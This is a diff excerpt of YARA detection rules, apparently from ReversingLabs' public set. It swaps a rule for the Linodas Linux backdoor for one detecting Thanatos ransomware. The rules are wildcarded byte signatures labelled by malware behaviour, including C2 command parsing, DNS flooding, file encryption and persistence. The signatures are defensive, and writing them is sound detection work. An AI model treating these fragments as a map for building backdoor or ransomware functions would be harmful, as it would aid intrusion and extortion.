?? 3B 55 ?? 0F 87 ?? ?? ?? ?? C7 45 ?? ?? + ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 3B 45 ?? 75 ?? 8B 4D ?? 89 4D ?? C7 45 ?? ?? + ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 6A ?? 6A ?? 69 55 ?? ?? ?? ?? ?? 52 8B 45 ?? 50 FF 15 + ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 75 ?? 8B 4D ?? 51 FF 15 ?? ?? ?? + ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 8B + 4D ?? 51 8B 55 ?? 52 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? + ?? ?? 75 ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? B8 ?? ?? ?? + ?? E9 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 6A ?? 6A ?? 8B 4D ?? 51 6A + ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? + 51 FF 15 ?? ?? ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 55 ?? 52 8D 45 ?? 50 8B 4D ?? + 51 6A ?? 8B 55 ?? 52 6A ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 8B 4D ?? 51 FF + 15 ?? ?? ?? ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 6A ?? 6A + ?? 69 45 ?? ?? ?? ?? ?? 50 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? + ?? ?? ?? ?? 75 ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? B8 ?? + ?? ?? ?? E9 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 6A ?? 8D 4D ?? 51 8B 55 ?? 52 8B 45 ?? + 50 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 75 ?? 8B 55 + ?? 52 FF 15 ?? ?? ?? ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? B8 ?? ?? ?? ?? E9 } - $collect_system_information_64_p2 = { - 48 89 DF 48 89 DA 48 89 EE B1 ?? F3 48 AB BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 54 24 - ?? BE ?? ?? ?? ?? 48 89 DF 31 C0 C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C 89 E0 B9 - ?? ?? ?? ?? 48 89 DF F3 48 AB 8B 44 24 ?? BE ?? ?? ?? ?? 48 89 DF 8D 90 ?? ?? ?? ?? - 85 C0 0F 49 D0 31 C0 C1 FA ?? 89 54 24 ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 89 DE BF - ?? ?? ?? ?? E8 ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 15 ?? ?? ?? ?? BE ?? - ?? ?? ?? BF ?? ?? ?? ?? 41 89 C5 E8 ?? ?? ?? ?? 4C 89 E0 B9 ?? ?? ?? ?? 48 89 EF F3 - 48 AB 48 89 DF 48 89 DA 48 89 EE B1 ?? F3 48 AB BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 45 85 - ED 75 ?? BA ?? ?? ?? ?? 48 89 DE BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 3D ?? ?? ?? ?? - E8 ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? 31 C0 E8 ?? ?? ?? ?? BE ?? ?? ?? ?? BF - ?? ?? ?? ?? 31 C0 E8 ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 7C 24 ?? 31 C9 - BA ?? ?? ?? ?? 31 F6 E8 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? 5B 5D 41 5C 41 5D C3 + $encrypt_files_p5 = { + E9 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8A 0D ?? ?? ?? ?? 88 4D ?? 33 D2 89 55 + ?? 89 55 ?? 89 55 ?? 89 55 ?? 88 55 ?? 6A ?? 6A ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 + ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? + ?? 83 7D ?? ?? 77 ?? 81 7D ?? ?? ?? ?? ?? 0F 86 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? + ?? ?? 33 C9 89 8D ?? ?? ?? ?? 6A ?? 6A ?? 8B 95 ?? ?? ?? ?? 52 8B 85 ?? ?? ?? ?? 50 + 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 8B 55 ?? 89 95 ?? ?? ?? ?? 6A ?? 6A ?? 8D 85 ?? ?? ?? + ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 8D 8D ?? ?? ?? ?? 51 8B 95 ?? ?? ?? ?? 52 E8 ?? + ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? + ?? 51 8D 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? + 83 C4 ?? 8D 4D ?? 51 8D 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 8D 45 ?? 50 8D 4D ?? + 51 E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? 6A ?? 8D 55 ?? 52 8D 45 ?? 50 E8 ?? + ?? ?? ?? 83 C4 ?? 50 8D 4D ?? 51 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? + 75 ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? B8 ?? ?? ?? ?? E9 + ?? ?? ?? ?? 8D 55 ?? 52 6A ?? 6A ?? 6A ?? 8B 45 ?? 50 8B 4D ?? 51 FF 15 ?? ?? ?? ?? + 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 75 ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 8B 45 ?? + 50 FF 15 ?? ?? ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 8D 8D ?? ?? + ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8D 55 ?? 52 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? 8B 4D + ?? 51 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 75 ?? 8B } - $send_system_info_64 = { - 55 53 48 81 EC ?? ?? ?? ?? 48 8D 7C 24 ?? E8 ?? ?? ?? ?? 4C 8D 84 24 ?? ?? ?? ?? 48 - 8D 4C 24 ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? 31 C0 E8 ?? ?? ?? ?? BE ?? - ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 31 48 89 D3 31 F6 48 89 E7 48 C1 E3 ?? 89 - C0 48 01 C3 E8 ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 31 48 89 D5 48 8D 7C 24 - ?? 31 F6 89 C0 48 C1 E5 ?? 48 01 C5 E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 2B 04 24 48 29 - DD 48 8B 54 24 ?? 2B 54 24 ?? BF ?? ?? ?? ?? F2 48 0F 2A C5 69 C0 ?? ?? ?? ?? 01 D0 - F2 0F 2A C8 F2 0F 5E C1 F2 0F 2C D8 E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 89 C1 BE ?? ?? ?? - ?? BF ?? ?? ?? ?? 31 C0 41 89 D8 E8 ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ?? BA ?? ?? ?? ?? - BE ?? ?? ?? ?? BF ?? ?? ?? ?? 31 C0 E8 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? BA ?? ?? ?? ?? - BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? B8 ?? ?? ?? ?? 5B 5D C3 + $encrypt_files_p6 = { + 45 ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? + ?? C7 45 ?? ?? ?? ?? ?? 6A ?? 8D 55 ?? 52 8B 45 ?? 50 8D 8D ?? ?? ?? ?? 51 8B 55 ?? + 52 FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 75 ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 8B 4D + ?? 51 FF 15 ?? ?? ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 83 7D ?? ?? 77 ?? 81 7D ?? ?? + ?? ?? ?? 0F 86 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 33 D2 89 55 ?? 0F 57 C0 66 0F 13 45 + ?? 6A ?? 6A ?? 8B 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? + ?? 83 BD ?? ?? ?? ?? ?? 75 ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 51 FF 15 ?? ?? + ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 6A ?? 8D 95 ?? ?? + ?? ?? 52 6A ?? 8D 85 ?? ?? ?? ?? 50 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? + 83 BD ?? ?? ?? ?? ?? 75 ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 8B 45 ?? 50 FF 15 ?? ?? ?? + ?? B8 ?? ?? ?? ?? EB ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 8B 55 ?? + 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 8D 8D + ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? EB ?? B8 + ?? ?? ?? ?? 8B E5 5D C3 } - $parse_c2_commands_64 = { - 41 57 31 C0 49 89 FF B9 ?? ?? ?? ?? 41 56 41 55 41 54 55 53 48 81 EC ?? ?? ?? ?? 48 - 8D 9C 24 ?? ?? ?? ?? 40 88 B4 24 ?? ?? ?? ?? 4C 8D AC 24 ?? ?? ?? ?? 4C 8D A4 24 ?? - ?? ?? ?? 48 8D AC 24 ?? ?? ?? ?? 48 89 DF F3 48 AB C7 07 ?? ?? ?? ?? BF ?? ?? ?? ?? - E8 ?? ?? ?? ?? 48 8D 43 ?? 48 89 84 24 ?? ?? ?? ?? 0F 1F 00 8B 3D ?? ?? ?? ?? 31 C9 - BA ?? ?? ?? ?? 48 89 DE E8 ?? ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? ?? 44 8B B4 24 ?? ?? - ?? ?? 45 85 F6 0F 84 ?? ?? ?? ?? 31 C0 44 89 F6 BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 84 - 24 ?? ?? ?? ?? 83 F8 ?? 74 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 41 83 FE ?? 0F 84 ?? ?? ?? - ?? 41 83 FE ?? 0F 84 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 41 83 FE ?? 0F 84 ?? ?? - ?? ?? 41 83 FE ?? 0F 84 ?? ?? ?? ?? 41 83 FE ?? 0F 84 ?? ?? ?? ?? 41 83 FE ?? 0F 85 - ?? ?? ?? ?? 48 8D BC 24 ?? ?? ?? ?? 31 C0 B9 ?? ?? ?? ?? F3 48 AB 48 8B 84 24 ?? ?? - ?? ?? 4C 8B 9C 24 ?? ?? ?? ?? 4C 8B 94 24 ?? ?? ?? ?? 4C 8B 8C 24 ?? ?? ?? ?? 4C 8B - 84 24 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? C7 07 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? - 48 8B 84 24 ?? ?? ?? ?? 48 8B BC 24 ?? ?? ?? ?? 48 8B B4 24 ?? ?? ?? ?? 48 8B 94 24 - ?? ?? ?? ?? 4C 8B B4 24 ?? ?? ?? ?? 4C 8B AC 24 ?? ?? ?? ?? 4C 8B A4 24 ?? ?? ?? ?? - 48 8B AC 24 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 8B 84 24 - ?? ?? ?? ?? 4C 89 9C 24 ?? ?? ?? ?? 4C 89 94 24 ?? ?? ?? ?? 4C 89 8C 24 ?? ?? ?? ?? - 4C 89 84 24 ?? ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 48 89 BC 24 ?? ?? ?? ?? 48 89 B4 24 - ?? ?? ?? ?? 48 89 94 24 ?? ?? ?? ?? 4C 89 B4 24 ?? ?? ?? ?? 4C 89 AC 24 ?? ?? ?? ?? - 4C 89 A4 24 ?? ?? ?? ?? 48 89 AC 24 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 89 84 24 - ?? ?? ?? ?? 49 89 57 ?? 48 8B 94 24 ?? ?? ?? ?? 49 89 77 ?? 48 8D B4 24 + $remote_connection = { + 55 8B EC 81 EC ?? ?? ?? ?? 8B 45 ?? C7 00 ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? C7 45 ?? + ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 4D ?? 51 6A ?? 6A ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? + 89 45 ?? 6A ?? 68 ?? ?? ?? ?? 8B 55 ?? 52 6A ?? FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? + ?? 0F 84 ?? ?? ?? ?? 8B 45 ?? 89 45 ?? 8D 4D ?? 51 8B 55 ?? 52 6A ?? 6A ?? 6A ?? E8 + ?? ?? ?? ?? 89 45 ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 89 45 ?? EB ?? 8B 4D ?? 8B 51 ?? + 89 55 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 8B 45 ?? 83 C0 ?? 89 45 ?? C7 45 ?? ?? ?? ?? + ?? 8B 4D ?? 8B 51 ?? 89 55 ?? EB ?? 8B 45 ?? 8B 48 ?? 89 4D ?? 83 7D ?? ?? 0F 84 ?? + ?? ?? ?? 8B 55 ?? 83 C2 ?? 89 55 ?? 8D 85 ?? ?? ?? ?? 50 8B 4D ?? 83 C1 ?? 51 E8 ?? + ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? B9 ?? + ?? ?? ?? 6B D1 ?? 8D 8C 15 ?? ?? ?? ?? 3B C1 74 ?? 68 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? + 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? + ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 0F 57 C0 66 0F 13 45 ?? C7 45 ?? ?? ?? ?? ?? + 8D 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 75 ?? 83 C8 ?? E9 ?? ?? + ?? ?? 8D 55 ?? 89 55 ?? 8D 45 ?? 50 8B 4D ?? 0F B6 51 ?? 52 E8 } - $dns_flood_64_p1 = { - 41 55 41 54 55 53 48 81 EC ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 49 89 - FC BB ?? ?? ?? ?? 48 8D 7C 24 ?? 48 89 D9 4C 89 E6 48 8D AC 24 ?? ?? ?? ?? F3 48 A5 - 8B 06 48 89 CB 89 07 0F B7 46 ?? 8B 35 ?? ?? ?? ?? 66 89 47 ?? BF ?? ?? ?? ?? 31 C0 - E8 ?? ?? ?? ?? 48 C7 04 24 ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? ?? ?? 66 C7 04 24 ?? ?? - 66 C7 44 24 ?? ?? ?? E8 ?? ?? ?? ?? 31 D2 BE ?? ?? ?? ?? BF ?? ?? ?? ?? F7 35 ?? ?? - ?? ?? 89 D2 8B 04 95 ?? ?? ?? ?? BA ?? ?? ?? ?? 89 44 24 ?? E8 ?? ?? ?? ?? BA ?? ?? - ?? ?? 48 89 E6 89 C7 41 89 C5 E8 ?? ?? ?? ?? 48 89 D8 B9 ?? ?? ?? ?? 48 89 EF F3 48 - AB 48 8D 7C 24 ?? BE ?? ?? ?? ?? 48 8D 9C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 44 24 ?? - 48 8D 7D ?? 48 8D 74 24 ?? 89 84 24 ?? ?? ?? ?? 0F B7 44 24 ?? 66 89 84 24 ?? ?? 00 - 00 E8 ?? ?? ?? ?? 48 89 EE 48 89 DF C6 84 24 ?? ?? ?? ?? ?? C6 84 24 + $find_files_p1 = { + 8B FF 55 8B EC 51 8B 4D ?? 53 57 33 DB 8D 51 ?? 66 8B 01 83 C1 ?? 66 3B C3 75 ?? 8B + 7D ?? 2B CA D1 F9 83 C8 ?? 41 2B C7 89 4D ?? 3B C8 76 ?? 6A ?? 58 EB ?? 56 8D 5F ?? + 03 D9 6A ?? 53 E8 ?? ?? ?? ?? 8B F0 59 59 85 FF 74 ?? 57 FF 75 ?? 53 56 E8 ?? ?? ?? + ?? 83 C4 ?? 85 C0 75 ?? FF 75 ?? 2B DF 8D 04 7E FF 75 ?? 53 50 E8 ?? ?? ?? ?? 83 C4 + ?? 85 C0 75 ?? 8B 4D ?? 56 E8 ?? ?? ?? ?? 6A ?? 8B F0 E8 ?? ?? ?? ?? 59 8B C6 5E 5F + 5B 8B E5 5D C3 33 C0 50 50 50 50 50 E8 ?? ?? ?? ?? CC 8B FF 55 8B EC 81 EC ?? ?? ?? + ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 8B 55 ?? 8B 4D ?? 53 8B 5D ?? 56 57 6A ?? 5E 6A ?? + 89 95 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 5F EB ?? 0F B7 01 66 3B 85 ?? ?? ?? + ?? 74 ?? 66 3B C6 74 ?? 66 3B C7 74 ?? 83 E9 ?? 3B CB 75 ?? 0F B7 31 66 3B F7 75 ?? + 8D 43 ?? 3B C8 74 ?? 52 33 FF 57 57 53 E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 6A ?? + 8B C6 33 FF 5A 66 3B C2 74 ?? 6A ?? 5A 66 3B C2 74 ?? 6A ?? 5A 66 3B C2 74 ?? 8B C7 } - $dns_flood_64_p2 = { - 66 C7 84 24 ?? ?? 00 00 ?? ?? 66 C7 84 24 ?? ?? 00 00 ?? ?? 66 C7 84 24 ?? ?? 00 00 - ?? ?? 66 C7 84 24 ?? ?? 00 00 ?? ?? E8 ?? ?? ?? ?? 48 89 D9 8B 01 48 83 C1 ?? 8D 90 - ?? ?? ?? ?? F7 D0 21 C2 81 E2 ?? ?? ?? ?? 74 ?? 89 D0 C1 E8 ?? F7 C2 ?? ?? ?? ?? 0F - 44 D0 48 8D 41 ?? 48 0F 44 C8 00 D2 48 83 D9 ?? 48 29 D9 48 8D 84 0C ?? ?? ?? ?? 48 - 8D 8C 24 ?? ?? ?? ?? 66 C7 00 ?? ?? 66 C7 40 ?? ?? ?? 48 89 CB 8B 13 48 83 C3 ?? 8D - 82 ?? ?? ?? ?? F7 D2 21 D0 25 ?? ?? ?? ?? 74 ?? 89 C2 48 8D 7C 24 ?? BE ?? ?? ?? ?? - C1 EA ?? A9 ?? ?? ?? ?? 0F 44 C2 48 8D 53 ?? 48 0F 44 DA 00 C0 48 83 DB ?? 48 29 CB - E8 ?? ?? ?? ?? 8B 44 24 ?? 48 8D BC 24 ?? ?? ?? ?? 48 89 EE 89 84 24 ?? ?? ?? ?? 0F - B7 44 24 ?? 66 89 84 24 ?? ?? 00 00 E8 ?? ?? ?? ?? 48 8D 7D ?? 48 8D 74 24 ?? E8 ?? - ?? ?? ?? 41 83 BC 24 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 C2 B9 ?? ?? - ?? ?? 83 C3 ?? C1 FA ?? F7 F9 8D 42 ?? 66 C1 C8 ?? 66 89 84 24 ?? ?? 00 00 E8 ?? ?? - ?? ?? 31 D2 48 8D B4 24 ?? ?? ?? ?? 31 C9 F7 35 ?? ?? ?? ?? 41 B9 ?? ?? ?? ?? 49 89 - E0 44 89 EF 89 D2 8B 04 95 ?? ?? ?? ?? 48 63 D3 89 44 24 ?? E8 ?? ?? ?? ?? 49 83 84 - 24 ?? ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? 74 ?? BF ?? ?? ?? ?? E8 + $find_files_p2 = { + EB ?? 33 C0 40 2B CB 0F B6 C0 D1 F9 41 F7 D8 68 ?? ?? ?? ?? 1B C0 23 C1 89 85 ?? ?? + ?? ?? 8D 85 ?? ?? ?? ?? 57 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 57 57 57 50 + 57 53 FF 15 ?? ?? ?? ?? 8B F0 83 FE ?? 75 ?? 8B 85 ?? ?? ?? ?? 50 57 57 53 E8 ?? ?? + ?? ?? 83 C4 ?? 8B F8 83 FE ?? 74 ?? 56 FF 15 ?? ?? ?? ?? 8B C7 8B 4D ?? 5F 5E 33 CD + 5B E8 ?? ?? ?? ?? 8B E5 5D C3 8B 8D ?? ?? ?? ?? 6A ?? 8B 41 ?? 2B 01 C1 F8 ?? 89 85 + ?? ?? ?? ?? 58 66 39 85 ?? ?? ?? ?? 75 ?? 66 39 BD ?? ?? ?? ?? 74 ?? 66 39 85 ?? ?? + ?? ?? 75 ?? 66 39 BD ?? ?? ?? ?? 74 ?? 51 FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 53 50 + E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 8B 8D + ?? ?? ?? ?? 85 C0 6A ?? 58 75 ?? 8B C1 8B 8D ?? ?? ?? ?? 8B 10 8B 40 ?? 2B C2 C1 F8 + ?? 3B C8 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 2B C1 6A ?? 50 8D 04 8A 50 E8 ?? ?? ?? ?? + 83 C4 ?? E9 } condition: - uint32( 0 ) == 0x464C457F and ( ( ( all of ( $collect_system_information_32_p* ) ) and ( $send_system_info_32 ) and ( $parse_c2_commands_32 ) and ( all of ( $dns_flood_32_p* ) ) ) or ( ( all of ( $collect_system_information_64_p* ) ) and ( $send_system_info_64 ) and ( $parse_c2_commands_64 ) and ( all of ( $dns_flood_64_p* ) ) ) ) + uint16( 0 ) == 0x5A4D and ( all of ( $find_files_p* ) ) and ( all of ( $encrypt_files_p* ) ) and ( $remote_connection ) } -rule REVERSINGLABS_Linux_Backdoor_Linodas : TC_DETECTION MALICIOUS MALWARE FILE +rule REVERSINGLABS_Win32_Ransomware_Thanatos : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Yara rule that detects Linodas backdoor." + description = "Yara rule that detects Thanatos ransomware." author = "ReversingLabs" - id = "2b197346-abce-5cff-938f-bb8742e03168" - date = "2024-05-22" - modified = "2024-05-22" + id = "190adbd0-30a7-5619-ab70-3ab031ece2f7" + date = "2020-11-13" + modified = "2020-11-13" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/backdoor/Linux.Backdoor.Linodas.yara#L1-L216" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Thanatos.yara#L1-L85" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "12445771106e36b74b1ea292a8a25cab66bcaf0a08cf88d39a9f1bb13c6f525b" + logic_hash = "a51fa9cf1a08e4cd252a8b385be3bfde909585e2a799baaede977e40ecff5313" score = 75 quality = 90 tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" category = "MALWARE" - tc_detection_type = "Backdoor" - tc_detection_name = "Linodas" + tc_detection_type = "Ransomware" + tc_detection_name = "Thanatos" tc_detection_factor = 5 importance = 25 strings: - $persistence_mechanism_ubuntu = { - 41 54 BE ?? ?? ?? ?? 55 53 48 81 EC ?? ?? ?? ?? 48 8D 6C 24 ?? 48 8D 54 24 ?? 48 89 - EF E8 ?? ?? ?? ?? 48 8B 7C 24 ?? 31 F6 E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8D 5C 24 ?? 48 - 89 EE 48 89 DF E8 ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 48 8B 5C 24 ?? 48 83 EB ?? 48 - 81 FB ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 48 8D 6C 24 ?? 48 8D 54 24 ?? BE ?? ?? ?? ?? 48 - 89 EF E8 ?? ?? ?? ?? 48 8B 7C 24 ?? 31 F6 E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8D 5C 24 ?? - 48 89 EE 48 89 DF E8 ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 48 8B 5C 24 ?? 48 83 EB ?? - 48 81 FB ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 48 8D 5C 24 ?? 48 89 EE 48 89 DF E8 ?? ?? ?? - ?? 48 89 DF E8 ?? ?? ?? ?? 48 8B 5C 24 ?? 41 BC ?? ?? ?? ?? 48 83 EB ?? 4C 39 E3 0F - 85 ?? ?? ?? ?? 4C 8B 44 24 ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 E7 - E8 ?? ?? ?? ?? 48 89 E7 E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 E7 E8 ?? ?? ?? ?? 85 C0 - 74 ?? 48 8B 4C 24 ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 - 8D 5C 24 ?? 4C 8B 44 24 ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 DF E8 - ?? ?? ?? ?? 48 89 DE 48 89 E7 E8 ?? ?? ?? ?? 48 8B 5C 24 ?? 48 83 EB ?? 49 39 DC 0F - 85 ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 E7 E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8B 4C 24 ?? BA - ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 5C 24 ?? 4C 8B 44 24 - ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 48 89 DE 48 - 89 E7 E8 ?? ?? ?? ?? 48 8B 5C 24 ?? 48 83 EB ?? 49 39 DC 0F 85 ?? ?? ?? ?? BE ?? ?? - ?? ?? 48 89 E7 E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8B 4C 24 ?? BA ?? ?? ?? ?? BE ?? ?? ?? - ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 1C 24 48 83 EB ?? 49 39 DC 0F 85 ?? ?? ?? ?? - 48 8B 5C 24 ?? 48 83 EB ?? 49 39 DC 0F 85 ?? ?? ?? ?? 48 8B 5C 24 ?? 48 83 EB ?? 49 - 39 DC 0F 85 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? 5B 5D 41 5C C3 - } - $network_communication_1 = { - 48 89 5C 24 ?? 48 89 6C 24 ?? 48 89 F3 4C 89 64 24 ?? 4C 89 6C 24 ?? 48 81 EC ?? ?? - ?? ?? 48 8B 06 48 89 FD 89 54 24 ?? 45 89 C4 48 83 78 ?? ?? 0F 84 ?? ?? ?? ?? 4C 8D - 6C 24 ?? 48 8B 33 4C 89 EF E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 83 78 ?? ?? 0F 84 ?? ?? - ?? ?? 45 84 E4 0F 85 ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 88 45 - ?? 80 7D ?? ?? 0F 84 ?? ?? ?? ?? C6 45 ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? BF 